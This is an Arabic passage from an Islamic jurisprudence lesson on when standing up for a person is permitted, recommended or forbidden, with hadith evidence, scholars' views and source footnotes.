ختم رحمه الله هذا الفصل بقوله: (وَيُسْتَحَبُّ القِيَامُ) وهذا آخر القرائن (ِلإِمَامِ العَادِلِ، وَالوَالِدَيْنِ، وَأَهْلِ الدِّيْنِ وَالوَرَعِ وَالعِلْمِ وَالكَرَمِ وَالنَّسَبِ، وَلَا يُسْتَحَبُّ لِغَيْرِ هَؤُلَاءِ) هذا مبحثٌ طويلٌ ملخصه أولًا أن القيام إما أن يكون على الشخص أو للشخص أو إلى الشخص، إما أن تقوم إليه أو عليه أو له، فأما القيام عليه فهو لحراسته وهذا سائغ إذا دعت الحاجة سواءً كان ملكًا أو رئيسًا أو وزيرًا أو أميرًا أو مسئولًا يُخشى عليه فلا حرج، وقد كان الصحابة يقومون على رأس النبي صلى الله عليه وسلم لحراسته إذا اقتضى الأمر ذلك كما جاء في صلح الحديبية حينما قام المغيرة على رسول الله صلى الله عليه وسلم وكان مشهرًا سيفه ولابسًا درعه، فدل ذلك على أنه جائزٌ للحاجة وهذا أمر يسير انتهينا منه.

بقي عندنا القيام له والقيام إليه، القيام إليه كأن يقدم فتقوم لاستقباله أو لإنزاله أو للسلام عليه فهذا سائغٌ أيضًا ودلت عليه السنة واستفاضت بذلك وسيأتي طرفٌ من السنة، الثالث: القيام له بأن تكون جالس في مكان ثم يدخل إنسان فتقوم، لا للسلام ولا للمعانقة، وهذا من أهل العلم من كرهه ومنهم من حرّمه والصحيح تحريمه إذا كان ممن يفرح بذلك ويُسر ويأمر الناس به، ولهذا جاء في الحديث: «مَن أحَبَّ أن يتمثَّلَ له الرجالُ قيامًا ، فلْيتبوَّأْ مقعدَه من النَّارِ»[10]، ومن ذلك نهي النبي صلى الله عليه وسلم الصحابة لما اعتل وصلى جالسًا صلوا قيامًا نهاهم أن يصلوا قيامًا وهو جالس، قال: كدتم أن تفعلوا فعل فارس، إذن نقول القيام المشـروع لسبب، كأن تقوم لتعانقه لقدومه من سفر أو تخفف عنه أو تنزله من مركوبه أو نحو ذلك، هذا جاءت به السنة، وقد اعتنى الإمام النووي رحمه الله بالكلام على القيام وألف فيه رسالة قيمة سماها «الترخيص في الإكرام بالقيام لذوي الفضل والمزية من أهل الإسلام على جهة البر والتوقير والاحترام لا على جهة الرياء والإعظام» هذا كله العنوان لكنه عنوان جميل جامع للقيود التي تدل على الإباحة، مما يدل على جوازه حديث أبي سعيد الخدري رضي الله عنه: «أنَّ أُنَاسًا نَزَلُوا علَى حُكْمِ سَعْدِ بنِ مُعَاذٍ رَضِيَ اللهُ عَنْهُ، فأرْسَلَ إلَيْهِ فَجَاءَ علَى حِمَارٍ، فَلَمَّا بَلَغَ قَرِيبًا مِنَ المَسْجِدِ، قالَ النبيُّ: صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ قُومُوا إلى خَيْرِكُمْ، أوْ سَيِّدِكُمْ»[11]، وفي رواية قال: قوموا إلى سيدكم فأنزلوه، فكأن القيام للسلام وللإنزال من حماره رضي الله عنه، قال الإمام مسلم: (لا أعلم في قيام الرجل للرجل حديثًا أصح من هذا، وقال: هذا القيام على وجه البر لا على وجه التعظيم)، وقال الخطابي والبغوي بعد روايتهما لهذا الحديث: في هذا الحديث أن قيام المرؤوس للرئيس الفاضل والوالي العادل وقيام المتعلم للعالم مستحبٌ غير مكروه وإنما جاءت الكراهة فيمن كان بخلاف هذه الصفات، قال وما روي من قوله صلى الله عليه وسلم: من أحب أن يستجم الرجال له صفوفًا فهو أن يأمرهم بذلك ويلزمهم إياه على مذهب الكبر ونحوه، كما كان في بعض المدارس في جيل مضى، أكثركم ما أدركه، كان المعلم إذا دخل الفصل قال: قيام، جلوس، قيام، جلوس، نقول هذا القيام لا وجه له ولهذا أفتت اللجنة الدائمة ومشايخنا الكرام في زمنه وعُمم على المدراس ولم يبقى أحدٌ فيما نعلم يفعله، كما يدل على القيام هذا أيضًا حديث كعب بن مالك رضي الله عنه في حديث توبته الطويل وفيه لما نزلت توبته قال: «فانطلقت إلى رسول الله صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ حتَّى دَخَلْتُ المَسْجِدَ، فَإِذَا رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ جَالِسٌ حَوْلَهُ النَّاسُ، فَقَامَ إلَيَّ طَلْحَةُ بنُ عُبَيْدِ اللهِ يُهَرْوِلُ حتَّى صَافَحَنِي وهَنَّانِي، واللهِ ما قَامَ إلَيَّ رَجُلٌ مِنَ المُهَاجِرِينَ غَيْرَهُ، ولَا أنْسَاهَا لِطَلْحَةَ»[12] [الحديث متفق عليه]، ويدل على ذلك أيضًا من التطبيق العملي النبوي ما حصل من النبي صلى الله عليه وسلم مع بنته وبضعته فاطمة رضي الله عنها، قالت أم المؤمنين عائشة رضي الله عنها: «ما رأيتُ أحدًا أشبَهَ سَمتًا ولا هديًا برسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ من فاطمةَ بنتِ رسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ ورضي الله تعالى عنها، قالت: وَكانَت إذا دخلَت على النَّبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ قامَ إليها فقبَّلَها وأجلَسَها في مجلسِهِ، وَكانَ النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ إذا دخلَ عليها قامت من مجلسِها فقبَّلتهُ وأجلَستْهُ في مجلسِها»[13] [رواه أبو داود والترمذي والنسائي وقال الترمذي حسن صحيح]، هذا طرف من الأحاديث، والأحاديث في الباب كثيرة وهي لا تخرج عن هذا المعنى، إذن نقول: القيام للحراسة جائز إذا دعت الحاجة، القيام لاستقباله أو السلام عليه جائز كما دلت هذه النصوص وهي صحيحة صريحة، أما القيام له تعظيمًا وإكرامًا وأنه يريد ذلك ويأمر الناس به فهذا متوعد بالنار، نسأل الله السلامة والعافية وحينئذٍ يكون القيام في هذه الحالة دائرٌ بين الكراهة والتحريم، عن الإمام أحمد رحمه الله ثلاث روايات في ذلك لكن الخلاصة هي ما ذكرت.

أسأل ربي بمنه وكرمه وجوده وإحسانه أن يوفقنا جميعًا لما يحب ويرضى، والسلام عليكم ورحمة الله وبركاته…

 

¯¯¯



[1] أخرجه البخاري (3217).

[2] أخرجه الترمذي في سننه (2697)، وقال عنه حديث حسن، وأيضًا صححه الألباني في صحيح الترمذي (2697).

[3] أخرجه أبو داود (5208) واللفظ له، والترمذي (2706)، والحديث قال عنه الألباني في صحيح أبي داود (5208): حسنٌ صحيحٌ.

[4] أخرجه الألباني وصححه في الكلم الطيب (197)، والعيني في عمدة القاري (1/312).

[5] أخرجه البخاري في الأدب المفرد (1042)، وأبو يعلى (12/5) (6649)، وصححه الألباني في السلسلة الصحيحة (601).

[6] أخرجه مسلم (2167)، وأبو داود (5205)، والترمذي (1602)، وأحمد (7617).

[7] أخرجه المنذري وضعف إسناده في الترغيب والترهيب (3/373)، وقال عنه ابن القيسراني في ذخيرة الحفاظ (4/2122): فيه الأجلح بن عبد الله الكندي وهو متروك الحديث، وضعف إسناده ابن مفلح في الآداب الشرعية (2/254).

[8] أخرجه البخاري (5288)، ومسلم (1866).

[9] أخرجه الروياني في المسند (1283)، والطبراني (20/212) (487) واللفظ لهما، والبيهقي كما في الترغيب والترهيب للمنذري (3/26) باختلاف يسير، وجود إسناده الألباني في السلسلة الصحيحة (226).

[10] أخرجه الألباني وصححه في صحيح الترغيب (2717).

[11] أخرجه البخاري (3804).

[12] أخرجه البخاري (4418).

[13] أخرجه أبو داود (5217)، والترمذي (3872) وقال الترمذي حسن صحيح، وأيضًا صححه الألباني في صحيح الترمذي (3872).